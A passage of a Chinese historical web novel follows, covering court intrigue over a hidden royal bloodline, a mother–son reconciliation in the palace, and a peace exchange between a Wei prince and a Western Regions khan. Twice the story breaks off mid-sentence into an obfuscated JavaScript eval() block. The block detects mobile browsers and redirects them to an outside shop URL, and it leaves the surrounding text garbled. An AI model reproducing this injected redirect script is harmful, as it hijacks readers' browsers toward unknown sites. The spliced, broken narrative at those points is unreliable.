方承鹤大口大口地喘着气,“不,这不可能,这不可能!”他扑向黑衣人,试图扯下他身上的斗篷,“你一定是在骗我!你到底是谁!你为什么要骗我!” 黑衣人往旁边一闪,轻松避开方承鹤的攻击,“方公子,我没有必要骗你,事到如今,我也不瞒你了,实话和你说吧,我想要得到这个天下,但我的身份导致我没办法做这个皇帝,所以我得挑个名正言顺的人替我坐在皇位上,我最初看中的人是宁凯风,但他是扶不起来的阿斗,只得作罢,后来,我无意间发现了这个秘密,所以我才找到了你。” 方承鹤并不傻,在短暂的惊愕之后,他强迫自己平静下来,细细思量着这些年发生在他身上的一切。 他的父亲方雪岩是两淮都转运盐使司,因此方家的宅子也一直是在南边,可他自己却从小就被送到了京城里,由他的姑母亲自照料。 方雪岩夫妇只有他一个儿子,按理说,他们应该都是十分疼爱他的,可每次他回方家的时候,都能明显感受到来自于他母亲的敌意,而他的姑母,也就是现在的太皇太后对他却比他的生身父母对他还好,他一直以为,这是因为太皇太后和先帝母子离心,她才将母爱转到了方家人身上,如今想来,其中竟是大有隐情。 “你说的这些可有证据吗?” “不愧是方公子,这么快就镇定了下来,我果然没有看错人。” 方承鹤咬着牙,又问了一遍,“你说的这些可有证据吗?” 黑衣人从袖中抽出一张药方,递给方承鹤。 方承鹤接过药方,扫了一眼,蹙眉道,“这张方子的纸都发黄了,看起来是很多年前的东西了。”他念着方子上写的字,“四物汤,熟地黄五钱,白芍两钱,当归三钱,川芎两钱,丹参十钱,辅以红花,桃仁,水煎服。这什么东西啊,我又不懂药理,你给我看这个做什么?” “这是二十多年,你的母亲方夫人用过的一张方子,方公子只要找一个稍微懂点药材的人问一问,便知这是一张用来调理女子入月期间血瘀不行的良方。” “那又如何?” 黑衣人不紧不慢地说,“这位大夫虽然医术很高明,却有一个不太好的习惯,他每次出去给人看病都会开两张一模一样的方子,一张给主人家,一张自己留下,而且呢,他还会在自己留下的方子背面记下主人家的姓氏还有他的开方时间,你翻过去瞧瞧就明白了。” 方承鹤依言把药方翻了个个儿,果然看见方子右下角用蝇头小楷写了一行小字,他随口念着,“方府……” 他才念完“方府”这两个字,便陡然住了嘴,因为他发现,这张方子的时间是在二十多年前的一个中秋夜,而他就出生在两个月后,也就是说,那个时候他的母亲应该已经怀上他了。 方承鹤虽是男子,却也知道女子有孕期间是不可能来葵水的,如果他的母亲那时候已经有了身孕,又怎么敢用这张活血化瘀的方子。 方承鹤紧紧攥着药方,手背上青筋暴起。 “其实何须这张方子,方公子是个聪明人,只消仔细想想这些年方雪岩夫妇是如何待你的,太皇太后又是如何待你的,方公子自然就全都明白了。” 方承鹤默了半晌,突然笑了笑,他将方子对折,收进袖中,淡淡道,“你今日既然把这药方揣在身上,便是做好了把这件事告诉我的打算,既如此,你又何必等着我去问你呢。” 黑衣人也不辩驳,坦诚道,“因为装睡的人是叫不醒的,你若是不想知道,即便我告诉了你这一切,你也不会相信,非得等你自己问出来,我告诉你才有意义。” 方承鹤的嘴角仍旧挂着一丝若有若无的笑意,他定定看着黑衣人,“如果我没猜错的话,我的身世,才是你选择和我合作的真正原因吧,你不是不想当皇帝,而是想找个傀儡坐在皇位上,自己则在后面捏着实权,那这个傀儡要么是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502814|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个废物,要么就得有把柄落在你的手里。” 黑衣人拊掌而笑,“哈哈哈,我就说方公子是个聪明人嘛,什么事儿都是一点就透。” 这一刻,方承鹤反而松了口气,他其实不怕黑衣人有所图谋,怕的是不知道他到底在图谋些什么,黑衣人这样说反而让他安心了不少,于是,方承鹤点头道,“好,既然今天话都说开了,我答应你就是了,反正这天下靠我一个人也打不下来,分你一半也是理所应当的。” 黑衣人摆了摆手,纠正道,“不是一半,而是全部。” 方承鹤一愣,“那我算什么?” 黑衣人似笑非笑,“傀儡呀,这不是方公子刚刚自己说的吗。” 方承鹤有些生气了,“我冒着掉脑袋的风险,到最后就是为了做个任人摆布的傀儡?” “方公子别急嘛,我和你算一算这笔帐,你看啊,现在呢,禁军在我手里,皇宫的地图也在我的手里,刑部和大理寺都有我埋下的人,方公子,其实你付出的不过是一个太皇太后之侄的名头罢了,你真正想要的其实也不过就是一个皇帝的名头罢了,难道不是吗?” “哼,你说的倒是好听,可你一天天跟见不得人似的,又是面具,又是斗篷,什么事儿不都是我替你出面料理,这你怎么不说了?万一到最后东窗事发,掉脑袋的也是我,不是你!” “什么事儿没有风险呀,你就算走在大街上,还有可能被受了惊的马撞死呢,更何况是谋权篡位这种大事了。而且方公子,你可是太皇太后的亲生儿子啊,就算真到了那一天,你觉得她会忍心不管你吗,你也太没自信了吧。” 方承鹤冷哼一声,“闭嘴吧,我现在心里烦得很。” 黑衣人倒也听话,果然没再作声,他负手而立,眺望着山下一望无际的素白与银棕。 恍惚间,他在风雪中看到了一个缓慢移动的小圆点,那个小圆点越来越近,越来越近,他终于发现,原来这个小圆点是一个手执扫帚的人。 黑衣人瞧见那人的面孔,不由得笑了笑,“我还当是谁,原来是他呀。” 方承鹤闻声望去,“六净寺的扫地僧,怎么,你认得他?” “有过一面之缘。” “你认识的人还真不少。”方承鹤抬腿要走,却见他没有动作,“他一会儿就上来了,你不走,难道不怕他发现你吗,这可不像你的作风。” “他是个瞎子,看不见的。” “瞎子?” 方承鹤虽然经常来六净寺小住,但他从未留意过这个扫地僧,此刻听黑衣人说这扫地僧是个瞎子,不由得一怔。 黑衣人略一抬指,“你瞧,这边的路平坦宽阔,可他却偏要走那条崎岖小路,如果是你,你会这么做吗?” 方承鹤摇头,“当然不会,若是平时也就罢了,这么个大雪天,谁会选这么一条路啊。” “可他会,因为那条路的两边栽了梅树,他看不见东西,只能靠着梅花的气味辨识方向。” “居然是这样。” 方承鹤看着扫地僧蹒跚而上的身影,点了点头,“还真是,有一说一,你比我聪明多了。” 黑衣人笑了笑,“彼此彼此。” 寒风阵阵,原本埋头苦干的扫地僧突然停下了手中动作,他在这风中嗅到了一股危险而又熟悉的气息,他握着扫帚的手不自觉紧了紧,多年前的痛楚再一次刺穿他的眼睛,他转向方承鹤和黑衣人站立的方向,他能清楚地感觉到,山上有两个人,一个是太皇太后的侄子,而另一个则是取走他两只眼珠的人。 四下里安静极了,“砰砰砰”,他听见自己的心脏跳得飞快,一声,又一声。 他现在有两个选择,一是冲上去,和那人殊死相搏,哪怕最后丢了性命也在所不惜,二是当作什么都不知道,继续留在六净寺当他的扫地僧,反正他已经瞎了,这辈子报不报仇的也就这样了。 他该怎么办? 这一刻,每一分每一秒都显得如此漫长,扫地僧不知道该怎么办,若是从前的他,若是那个刚到六净寺的他,肯定会冲上去和那人痛痛快快大干一场,可现在他却犹豫了,就在他犹豫的时间里,方承鹤和黑衣人已经从另一条路下山了。 扫地僧感觉到那股气息在渐渐远去,他握着扫帚的手松了松,心下突然安稳了不少。他这时候才发现,原来自己真的不想报仇了,原来自己真的已经放下了。 扫地僧一时不知是悲是喜,他立在风雪中,寂然无语。 107. 天琦识兰旌 隆寿宫。 魏太后披着银狐大氅,半卧在暖炉前,她的眼睛微微眯着,仿佛已经睡着了。 纹银吉祥暖炉上空笼罩着一层淡淡的稀薄白雾,云英透过那雾气,偷偷瞄了眼站在大殿外面的魏晗烨,心里直叹气。 这阵子奉城闹雪灾,冻死了不少人,听说魏晗烨一连几日都为了奉城的事儿操劳,一个囫囵觉都没睡踏实过,眼下,他又站在雪地里,这大冷的天,可别把他给冻坏了。 过了一会儿,魏太后终于睁开眼睛,云英见她醒了,连忙递上手炉,趁机回话,“皇上来了有一阵儿了,见太后娘娘睡着,没敢打扰,就这么一直侯在殿外。娘娘您瞧,皇上肩头的雪都快堆成一座小山了。” 魏太后扫了眼殿外的情形,拢衣坐了起来,“罢了,你去请皇帝进来吧。” 云英忙不迭应声道,“是。” 魏晗烨将落了雪的氅衣交给秦川,自己进来行礼,“儿臣给母后请安。” “嗯,坐吧,云英,给皇帝上茶。” 云英早就备好了热茶,闻说立即端给了魏晗烨。 魏晗烨接过热茶,对云英笑了笑,“有劳云英姑姑。” “陛下客气了。” 魏晗烨饮了口茶,觉得身上一下子暖和了不少,手也没有方才那么僵那么冷了,他笑道,“听说母后身子一直不大爽利,上次祭天祈福也没去,母后如今可大安了?” “还是老样子。”魏太后抬眼看他,“怎么不穿着氅衣进来,不冷吗?” “衣服上沾染了风雪,怕把寒气过给母后。” “皇帝有心了。”魏太后抬手一指,“你们几个,把暖炉往那边挪挪,给皇帝暖暖身子。” “谢母后。” “皇帝可曾发现,今日烧的炉子有何不同?” 魏晗烨看了眼身边的暖炉,思忖道,“似乎并没有什么不同。” “皇帝没闻见有一股香气吗?” 魏晗烨一笑,“原来这香气是从炉子里散发出来的,儿臣还以为是母后用了什么香料呢。” “也算是香料吧,这是前阵子苏姑娘调的雪中春信,晨起哀家瞧见外头下雪了,便让人往暖炉里撒了一点。” 魏晗烨听见这话,忙起身行了个礼,“母后容禀,其实苏姑娘一事——” 他尚未说完,便被魏太后出言打断,“皇帝,你不必和哀家解释,左右这天下是你的,后宫也是你的,你爱做什么就做什么,哀家从今往后再也不管就是了。” “母后这样讲,分明是还在生儿臣的气。” “你是天子,是皇帝,是九五至尊,哀家哪敢生你的气啊。” 魏晗烨想了想,看向云英,“云英姑姑,朕有几句话想单独和母后说。” 云英见魏太后并无表示,算是默许,便带着殿内的宫人退了下去,自己从外关上了门。 一时间,大殿内只剩下魏太后和魏晗烨两人。 魏晗烨往前走了两步,屈膝跪在魏太后身前,“母亲,我错了。” 魏太后的嘴唇微微动了动,但她没有说话,仍是沉默着。 “其实,儿子不要苏姑娘,并不是为了自己,而是为了母亲。” “为了我?” “是,母亲还记不记得,去岁这个时候您同儿子说的话?” 魏太后想了很久,末了还是摇了摇头,“不记得了,我说了什么?” “母亲说,您不姓魏,您姓霍,叫霍姹。” 魏太后怔了怔,“霍姹——” “母亲,如果我把自己不爱的人纳入后宫,最后注定只能是一个个似曾相识的悲剧,我不想让悲剧再一次重演,更不想让许多年前的霍姹伤心。” 魏太后似乎是被触动了,她侧过头去,过了好一阵子才转回来,眼角微微有些发红,她伸手去拉魏晗烨,“我明白了,烨儿,你没有做错,起来吧。” 魏晗烨松了口气,他挨着魏太后坐下,笑道,“母亲不生气了?” “生气呀,生气我的记性怎么这么不好,才过了一年,便浑忘了。” “母亲太累了,是该好好歇歇,养养身子。” 魏太后叹气道,“烨儿,你还惦念着那个席容烟,是吗?” 魏晗烨点点头,“是,我还想最后再争取一次,若是还不行,就算了。” “好吧,人活一世不容易,烨儿,想做什么就去做什么吧,母亲支持你。” “多谢母亲!” 西域。 伴随着劈里啪啦的燃烧声,炙热的火舌舔舐着跳跃的黑夜。 鼓声催催,拓枝舞起,西域的舞女们长袖轻扬,罗衣身软。 肃安王一行人同西域的将士们一同围坐在篝火旁,喝酒吃肉,好不快活。 “哈哈哈,肃安王,来,本汗再敬你一碗。” 肃安王饮尽碗中酒,正色道,“可汗,酒过三巡,我们该谈正事了。” “好啊,本汗正有此意。”寒星取出那封信,反手扣在案上,“王爷在这信上写了一个‘可’字,王爷倒是说说看,这个‘可’字到底是什么意思。” 肃安王笑了笑,“那日回去后,本王便向皇上请了旨,皇上知道可汗为难,于是就改了后面两个条件。” “愿闻其详。” “皇上允诺,可汗可以用平乐公主来换依拉洪之死的秘密,不过皇上还有一个要求。” “什么要求?” “皇上说,可汗的阏氏是他的一位故人,所以,他希望能请故人回京一叙。” 席容烟此时就坐在寒星身侧,闻言神色一凛,“我?” 寒星皱眉道,“只是一叙?” “自然只是一叙,皇上金口玉言,难道还会反悔不成?” 寒星暗暗思量,若只是回去一叙,倒也无妨,怕就怕有去无回。 肃安王猜出他的疑虑,坦然道,“皇上还说,可汗若是担心,可派心腹之人随阏氏入宫。” 尧里瓦斯道,“大汗,我们答应了吧,我相信大魏皇帝会信守诺言的。” 肃安王说这话时,西域的众将士都在,寒星不好为了一个女人做得太过,况且大魏皇帝只是说请席容烟回去见一面,这并不是什么太过分的要求。 寒星看向席容烟,“阿烟,你的意思呢。” 席容烟点了点头,“我愿意走这一遭,我相信皇上的人品。” “好!”寒星给自己倒了一大碗酒,“本汗答应了,肃安王,你务必保证阏氏的安全。” “可汗放心,本王保证阏氏回来的时候,一定会平平安安,连一根头发丝都不会少。” “那这秘密,肃安王打算什么时候说呢?” 肃安王坦诚道,“不瞒可汗,本王也不知道老汗王究竟死于谁手,这秘密写在另一封信里,皇上的意思是等两位贵人都平安抵达玉门关了,再将此信交给可汗。” “哼,正所谓兵不厌诈,本汗凭什么相信你?万一你们皇帝说话不算数呢?” “玉门关是两国的接壤之地,在那里一手交物,一手交人,最是公平,不然,难道可汗还有更好的办法吗?” 寒星沉默了,良久,他猛灌一口酒,爽快道,“好吧,那就这么定了,到时候,本汗会亲率大军抵达玉门关一带,如果你们胆敢食言,本汗定不会善罢甘休。” 肃安王抬腕相敬,“一诺千斤重!”[1] 人声喧嚷,觥筹交错,大红的披帛映衬着橘红的火光,瞧着很是喜庆。 大伙儿都挺开心,唯独肃安王高兴不起来,他望着西域舞女的倩影,不自觉想起了悠悠。 一年多前,悠悠给他跳了最后一支舞,可他却没有好好欣赏。 现在,悠悠已经死了,他再想看,也看不到了。 他答应过悠悠,把她的尸身埋在玉门关,让她亲眼看着大魏荡平西域。 可如今,他却不得不为了两国的和睦,为了百姓的安乐,坐下来和这些西域人把酒言欢,共商大魏和西域的修好之事。 肃安王在心中叹了口气,默默道,悠悠,你放心,你的仇我没有忘,只是眼下时候未到,你再给我一些时间,再给我一些时间—— “王爷?” “嗯?” 肃安王回过神来,发现叫他的人是楚天琦,楚天琦腿部受了很严重的剑伤,再也不能骑马了,但他坚持留在战场上,肃安王不忍心驳了他的请求,便让他在军中做了一名步兵统帅。 “怎么了天琦?” 楚天琦定定凝视着席容烟,脸上闪过一抹讶色,“王爷,那个女子是谁啊?” 肃安王看了一眼席容烟,又看了一眼楚天琦,“她是西域可汗的阏氏啊。” “不,我是想问她叫什么名字?” “好像是叫席容烟吧。” “席容?她姓席容?”楚天琦摇摇头,“这不可能,这绝对不可能。” “她之前是席容家的三小姐,皇上原本要娶的人就是她。” “可她为什么会和我的一位故人之女长得如此相像。” “什么故人之女?” 楚天琦抬眼,目光澄澈而又坚定,“王爷,事到如今,我也不打算再瞒你了,我骗了你,也骗了齐将军,其实,我并不是什么耕读人家的孩子,和李将军的夫人也没有半点亲缘关系,我是被先帝抄家充军的楚家后人。” 楚天琦嘴角挂着一丝苦笑,“我父亲原是陈将军麾下的一员大将,陈将军被诬谋反后,我家也受到了牵连,嫡系处斩,旁系充军,李将军同我父亲曾经一块儿打过仗,颇有几分交情,所以他才假托李夫人之名,把我举荐到了齐将军那里。” 肃安王点点头,“原来如此。” “王爷不生气?” 肃安王淡淡一笑,“这有什么好生气的,更何况,我早就猜到了你不是寻常人家的孩子。” “啊?” “你的手指光滑白净,没有一点干农活留下来的茧子,可见幼时是过惯了舒服日子的,决非你所说的半耕半读。而且你姓楚,同陈将军麾下的楚将军同姓,这也罢了,若说是巧合也是有的,可你平日少言寡语,又一直对自己的家乡亲人讳莫如深,我便隐约猜到了两三分。” 楚天琦低头盯着自己的手,“王爷早就知道,却还一直容我留在军中。” 肃安王拍了拍他的肩,“英雄不问出处,你能打仗,打得干净漂亮,本王自然用你。” 楚天琦有些哽咽,“天琦,谢过王爷。” “天琦,你说席容烟是你的故人之女,难道她当真是陈将军的女儿?” 楚天琦一惊,“王爷也怀疑过她的身世?” 肃安王脸上浮现出思索的表情,“席容炎临死前曾经高呼,说这席容烟是陈玄赫的幼女陈兰旌,本王一直以为是那席容炎走投无路,信口胡说的,如今再想想,彼时的席容炎已是强弩之末,他未必还有心思扯谎。只是天琦,你为何如此肯定,席容烟就是陈兰旌呢?” “小时候,父亲曾领着我去陈府作客,陈将军很疼爱他才出生的小女儿,家里一来客人,就要抱给客人瞧瞧,所以,我见过她一面。那个女孩儿的眼睛亮晶晶的,眉心处有一个小小的凹陷,在阳光下尤其明显。我后来找算命师傅问过,那地方是中正,若有凹陷,则二十五岁必主大事发生,我当时还犹豫过,要不要将算命师傅的话告诉陈将军,没想到后来——” 楚天琦没再说下去,他叹了口气,朝席容烟的方向抬了抬下巴,“王爷您瞧,她的眉心上方也有一个凹陷,若在平日看不出来,非得在火光的映衬下,才能瞧得格外分明。” 肃安王认真想了想,“本王会派人细细查明此事,现在已经可以肯定,当年陈将军谋反一事实属构陷,若席容烟果真是陈玄赫的女儿,是陈家唯一的遗孤,天琦,你就是大功一件!” “功也好,过也罢,陈将军对我家有大恩,我只是希望,他的女儿若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚天琦连忙摆摆手,“王爷客气了,我和王爷一块儿打了这么多年的仗,我知道王爷是一个好人,是一个有情有义的好人,可是,在我有限的记忆里,好人往往是没有好报的。”他的语气诚恳真挚,“我不希望王爷有一天也会落到那个地步,我希望王爷可以长命百岁。” 肃安王心中感慨万千,他长吁一口气,挥袖给楚天琦倒了一碗酒,又给自己也倒了一碗,“多说无益,都在酒里了,天琦,我敬你。” “敬王爷!” 另一边,席容烟吃了两杯酒,便说自己有些困了,想先回去,寒星连忙起身送她。 席容烟两颊微红,“这么多人看着呢,有什么好送的,你和他们好好喝喝酒,说说话吧。” 寒星笑笑,附在她耳边低声说,“怕什么,你是我的女人,我怎么疼你都是应该的。” “真不用了。”席容烟朝王帐的方向一努嘴,“就这么几步道,你还要送,好歹也是个西域可汗,也不怕底下人笑话嘛。” 寒星无奈,“好吧,木头,你送阿烟回去。” “是,烟姑娘,请。” 楚天琦瞧见席容烟离席,瞅准时机,快步跟了上去。 寒木横刀一挡,“什么人?” 楚天琦往后退了一步,拱手作揖道,“寒木将军。” “原来是楚将军。”寒木放下刀,眼中的警惕却并未散去,“楚将军找我有事?” “是,听王爷说,寒木将军的刀法甚是了得,所以天琦想要讨教一二。” 听说他是来比武的,寒木稍微松了口气,“好啊,楚将军既有如此雅兴,寒木一定奉陪,不过楚将军稍等片刻,我得先把阏氏送回去。” 楚天琦好像这个时候才注意到席容烟,他冲她一拱手,“天琦见过阏氏。” “楚将军好。” “阏氏也是大魏人吗?” “是。” 寒木抱着刀,说道,“楚将军,我们就先走了,比武之事等我回来再说吧。” 楚天琦点了点头,“好,我在这儿等寒木将军。” 二人渐渐远去,楚天琦望着他们的背影,更加肯定了自己的猜测。 席容烟,就是陈兰旌。 约莫十日后,魏晗烨收到了肃安王的一封信。 “陛下,现已查明,席容烟确为陈玄赫之女陈兰旌,只是为何当年陈家满门尽数殒命,唯独她活了下来,其中内情尚不清楚。听说鄯州有一个天机阁,号称可知天下事,消息网罗最是厉害,我已经派人前往天机阁一探究竟,估计不日便可有消息传回京中。” 魏晗烨握着信,凝神想了片刻,“袁青,进来。” “陛下。” “你听说过鄯州的天机阁吗?” “天机阁?”袁青摇摇头,“没有,鄯州那地方太偏了,谁没事儿往那儿跑啊。” 一旁奉茶的秦川插嘴道,“陛下,奴才是鄯州人,倒是听说过天机阁的名号。” “哦?说来听听。” “奴才所知不多,只知道天机阁是靠贩卖消息起家的,主人姓单,江湖人称单阁主。” “那这天机阁果如外界所言,能够通晓天下事吗?” “确有这样的说法,不过奴才也没亲自试过,所以不知真假。” 袁青疑惑道,“既然天机阁这么厉害,为何我却从来没听说过呢?” “将军有所不知,这天机阁贩卖的都是不可告人的秘辛,为此得罪了不少人,这其中,既有公侯权贵,也有武林高手,单阁主为了自保,一向十分低调,所以,除了常在江湖行走之人听说过天机阁的名号,也便只有奴才这样的当地人略知一二了。” “原来如此,秦川,你可知那单阁主多大年岁,生得什么模样?” 秦川“嘶”了一声,“这事儿说来可就奇了,天机阁阁主一向是是神龙见首不见尾,关于他的长相,坊间说法纷纭,有人说单阁主十分年轻,是个十七八岁的俊美少年,有人说他长相端正,瞧着是个三十岁上下的读书人模样,还有人说他鬓发皆白,怕是已经百岁有余了。” 袁青皱了皱眉,“这也差太多了,天机阁还真是个神秘的所在。” 108. 寒星寻真凶 玉门关外。 “吁——” 寒星勒住照夜飞矢,自己先跳下马,又去抱席容烟下来,“阿烟,再往前走就是大魏地界了,我不便再送,只能护送你到这儿了。” 席容烟拍了拍他的手,“放心,我会照顾好自己的。” 寒星哪里能放得下心,他不厌其烦地叮嘱着,“轿夫是西域武士乔装打扮的,这些人都是一等一的西域高手,也是可信赖之人,你有什么事儿尽管吩咐他们,另外我还让木头带着暗卫营的人暗中保护你,此一去,危险重重,阿烟,你千万要小心。” 席容烟语气轻松,“嗯,踏雪玉狮就交给你照顾了,等开春儿了,你记得让人把它每天带到河边转一圈,它最爱吃河边的草,那儿的草又鲜美又多汁。” 寒星有些吃醋,“这个时候,你倒惦记起马来了,等开春儿你都回来了,到时候你自己带去岂不是更好?” 席容烟看着他吃醋的样子抿嘴一乐,逗他道,“万一我回不来呢。” “呸呸呸,胡说什么。” 席容烟见他急了,连忙解释道,“你想什么呢,我是说,大魏和西域离了那么远,万一中间遇上大雪天啊,大风天啊,可不是正经要耽搁些日子。” 寒星一把把她搂在怀里,“我不管,我最迟等到三月,若是你三月份还没有回来,我就率军打进大魏皇宫,亲自把你接回来。” 席容烟笑了笑,她踮起脚尖,微微仰头,在他的颊侧亲了一下,“寒星,好好的,等我回来。” 寒星不愿就这么放她离开,他挽住她的腰肢,当着所有人的面儿,低头吻了下去,他的吻霸道而又绵长,像是想要在她的唇瓣上刻下属于自己的痕迹。 伤心的人并不只有寒星和席容烟,平乐抱着不满一岁的小人儿,心头涌起了一股股酸涩。 时隔多年,她终于能回家了,可她却不得不离开自己的亲生骨肉,对于一个母亲来讲,这未免太过残忍。 肃安王不知道该如何安慰她,他只能默默站在她的身侧,良久,他张了张口,声音低缓而又沉重,“不管怎样,能回家总是好的,淑太妃要是知道了,一定高兴坏了。” 听到自己母亲的名字,平乐的眼中终于露出一抹喜色,她轻轻“嗯”了一声,又亲了亲小孩儿的额头,这才恋恋不舍地将他交给西域的侍女,自己转身去寻寒星。 “可汗,这孩子还没有取名字呢,我想给他取个名字再走,可以吗。” 寒星没有放开席容烟,只是侧脸看了一眼平乐,“当然可以,这是你的孩子,你说了算。” 平乐认真想了想,说道,“那么,就叫他艾尔克吧。” “艾尔克?” 西域历代汗王的名字都是有寓意的,譬如“依拉洪”的意思是神,“苏里唐”的意思是王,“尤里吐孜汗”的意思是星星,寒星不明白她为什么给孩子起了这么个普普通通的名字。 “我不指望他成为什么大英雄,我只希望他能像草原上的鸟儿一样,一辈子自由自在。” 寒星微一颔首,“好,本汗答应你了,这孩子就叫艾尔克。” “谢谢可汗。” 肃安王走上前来,“可汗,我们该动身了。” “嗯,一路平安。”话虽如此说,寒星的手却依旧挽在她的腰间,丝毫没有松开的意思。 席容烟有些不好意思,她拍了拍他的手,“好啦,我过段时间就回来了,不要太担心,对啦,你没事儿记得帮我遛遛马啊,带着它多晒晒太阳,自己也能散散心。” 寒星闷闷地应了声,“好。” 肃安王抬臂,做了一个请的动作,“两位贵人这边请。” 寒星望着席容烟离去的背影,心里空落落的,他突然意识到,原来自己已经这么爱她,爱到一刻都离不开她。 肃安王顺着寒星的视线望过去,不禁感叹,“可汗待阏氏,还真是一往情深啊。” 寒星始终沉默着,直到看见席容烟坐进轿子,自己再也看不见她的身影了,才冷声道,“本汗答应你们的已经做到,现在该由你们履行承诺了。” 肃安王点点头,“当然。” 说着,他屈指吹哨,雪白的信鸽盘旋而落,他从信鸽身上取下密信,转手交给寒星。 寒星冷笑一声,“把信藏在鸽子身上,真有你们的。” “哈哈哈,可汗武功高强,本王怎敢把如此重要的机密随身携带呢。” “那你现在就不怕了吗?”寒星抬眼,眸中骤现一片杀气,“本汗若是现在动手抢人,王爷以为,自己能有几成胜算?” 肃安王脸上并无畏惧惊慌之色,反而放声大笑起来,“一半一半吧,不过,本王以为,可汗不会作此失智之举。” “为何?” 肃安王望着席容烟乘坐的车轿,别有深意地笑了一下,“否则若是传扬出去,西域可汗为了一个心爱的女人,不顾西域将士们的死活,不顾同大魏皇帝约定的诺言,主动挑起大魏与西域两国的战争,哪怕可汗最后打赢了这场仗,也会失了西域的人心,失了天下的道义。可汗智勇双全,是个聪明人,聪明人怎么会做这种糊涂事呢,可汗,你说是不是?” 寒星挑了挑眉,“有道理。” 他没再理会肃安王,立即动手拆信,只见信中写道—— “二十多年前,有一神秘人来到西域,他假借山海客之子的身份,骗取了依拉洪的信任,趁其不备,将其杀害。神秘人杀依拉洪,并不是为了西域汗王之位,而是为了夺取山海客的武功‘霜寒十四州’。山海客的‘山海’二字,并非浪得虚名,他天赋极高,自创武学二脉,一脉为山脉,号‘花醉三千客’,一脉为海脉,号‘霜寒十四州’,这两脉若是合二为一,自是威力无穷,可若是这两脉分别掌握在不同的人手中,便势必会挑起武林纷争。至于此后夺得汗王之位的苏里唐,不过是凑巧捡了个便宜罢了,他和穆则帕尔赶到时,依拉洪已死,为了镇服西域众人,他命人放出消息,说是自己杀死了依拉洪,这才坐稳了这个汗王之位。” 寒星读完信,内心久久不能平静,他从未想到,自己父亲的死因竟是这个。 肃安王拱拱手,“可汗,我们两清了,就此别过。” 寒星还沉浸在惶惑之中,肃安王的话没等传到他的耳朵里,便被风吹散了。 尧里瓦斯心急如焚,也顾不得许多了,快步上前,问道,“大汗,如何?” 寒星没说话,只是将信递给了他,“你自己看。” 尧里瓦斯飞速扫了一遍信中的内容,惊愕道,“竟然是这样!” 寒星沉吟道,“将军觉得这封信里说的事儿可信吗,有没有可能是魏晗烨在骗我们?” “应该不会,因为我确实听说过,山海客除了霜寒十四州,还有一门武功绝学,只是我并不知道它的名字,霜寒十四州,花醉三千客,这不像是编造出来的。” 寒星心情复杂,唏嘘道,“真是可笑,当年我父亲凭借山海客的霜寒十四州称霸一方,就此成为西域的一代传奇,可若干 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可是,魏晗烨为何会对这些陈年旧事如此清楚?他当真不认识这个所谓的神秘人吗? 寒星思绪纷乱,一时也理不出个头绪,他重新展开信纸,细细读了一遍,“花醉三千客?我怎么没听说过有哪位武林高手是凭此立足江湖的?” 尧里瓦斯琢磨了一阵,说道,“确实,我也没听说过,按说这霜寒十四州威名震天下,与它同为一人所创的花醉三千客即便不是声名远扬,也不至于没人知道啊。” 思虑良久,寒星终于做出一个决定,“为了查清当年之事,本汗想悄悄去一趟大魏。” “啊?” “将军别着急,先听我把话说完,我刚才认真想了一下,这山海客是大魏人,知道此事的魏晗烨也是大魏人,将军此前说过,山海客最后一次出现的位置是大魏西山,所以本汗想,山海客的行踪,神秘人的来历,还有整件事的首尾,或许也都要去大魏才能找到答案。” 其实,还有一个原因寒星没有说,那就是,他想跟着肃安王的军队潜入大魏,这样还能暗中保护席容烟,他实在是放心不下她。 若在平时,尧里瓦斯肯定是一千个、一万个反对,毕竟,作为一国之君,只身潜入别国实在是太危险了,可此事涉及老汗王依拉洪的死因,尧里瓦斯比寒星还急于知道事情真相,于是他说,“大汗放心的去吧,我会帮你照看好西域的。” “那就有劳将军了。” 尧里瓦斯从怀中摸出一个羊皮小册子,“大汗上次让我去试着联系一下我们设在大魏的暗桩,如今还能用的人我都记在这个小册子上了,大汗每到一个地方,如果有什么需要打听的事儿,便可去寻这册子上的人。” 寒星接过册子,大致翻了一遍,赞赏道,“好,太好了,这册子来得真是及时。” 尧里瓦斯犹豫了一下,开口道,“我知道大汗功夫卓绝,只是毕竟是在大魏境内,大汗还是要事事当心,时时留意,若是发觉情况不对,一定要立刻派人知会我们。”尧里瓦斯说这话时,眼眶微微有些发红,他一面挥臂擦拭,一面嘟囔,“这儿的风沙怎么这么大。” 他的儿子艾山同寒星一般大,他一开始追随寒星,固然是因为依拉洪的恩情,可这么长时间相处下来,他已经把寒星当成了自己的孩子,孩子出门在外,做父亲的怎么会不担忧呢。 寒星没有说话,他张开双臂,用力拥抱住尧里瓦斯,仿佛在拥抱一个苍老的灵魂—— 109. 是劫还是缘 经过一天的车马颠簸,肃安王一行人终于在天黑前赶到了奉城。 席容烟倒是还好,一路上只是有点头晕、恶心,桃夭从荷包里给她找了两片薄荷叶含着,她的不适感就减轻了不少。 平乐的情况就不怎么乐观了,她在路上呕吐了好几次,如今才到驿馆便又吐起来。 肃安王心急如焚,赶着叫人请大夫、开方子、抓药,一直寸步不离地守着她。 平乐有气无力地劝着,“兄长,你不用守着我,快去忙你自己的事儿去吧,我没事的,我从生完孩子之后就这样了,我一会儿睡一觉就好了。” 肃安王端着药碗,一口一口喂她,“那我叫他们准备些清淡的饮食,你吃点垫垫肚子。” 平乐皱着眉头把药喝净,拿帕子拭了拭嘴角,摇头道,“不吃了,吃完还得吐,兄长,你去睡吧,我也有点困了,想睡了。” 肃安王一脸担忧,“大夫,她吐了那么多东西出来,不吃东西补补,身子能受得了吗?” 